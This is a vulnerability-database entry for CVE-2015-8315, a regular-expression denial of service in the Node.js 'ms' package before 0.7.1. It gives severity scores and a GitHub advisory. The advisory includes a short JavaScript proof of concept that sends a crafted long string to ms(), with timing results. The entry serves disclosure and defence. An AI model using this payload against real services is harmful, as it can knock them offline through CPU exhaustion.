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CVE-2015-8315

HIGH
Published 2017-01-23T21:00:00
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CVSS Score

V3.1
7.5
/10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Base Score Metrics
Exploitability: N/A Impact: N/A

EPSS Score

v2025.03.14
0.009
probability
of exploitation in the wild

There is a 0.9% chance that this vulnerability will be exploited in the wild within the next 30 days.

Updated: 2025-06-25
Exploit Probability
Percentile: 0.752
Higher than 75.2% of all CVEs

Attack Vector Metrics

Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED

Impact Metrics

Confidentiality
NONE
Integrity
NONE
Availability
HIGH

Description

The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a "regular expression denial of service (ReDoS)."

Available Exploits

No exploits available for this CVE.

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Affected Products

Affected Versions:

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✓ GitHub Reviewed HIGH

Regular Expression Denial of Service in ms

GHSA-3fx5-fwvr-xrjg

Advisory Details

Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of Concept ```javascript var ms = require('ms'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` ### Results Showing increase in execution time based on the input string. ``` $ time node ms.js 10000 real 0m0.758s user 0m0.724s sys 0m0.031s $ time node ms.js 20000 real 0m2.580s user 0m2.494s sys 0m0.047s $ time node ms.js 30000 real 0m5.747s user 0m5.483s sys 0m0.080s $ time node ms.js 80000 real 0m41.022s user 0m38.894s sys 0m0.529s ```

Affected Packages

npm ms
ECOSYSTEM: ≥0 <0.7.1

CVSS Scoring

CVSS Score

7.5

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Advisory provided by GitHub Security Advisory Database. Published: October 24, 2017, Modified: August 1, 2024

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Published: 2017-01-23T21:00:00
Last Modified: 2024-08-06T08:13:32.126Z
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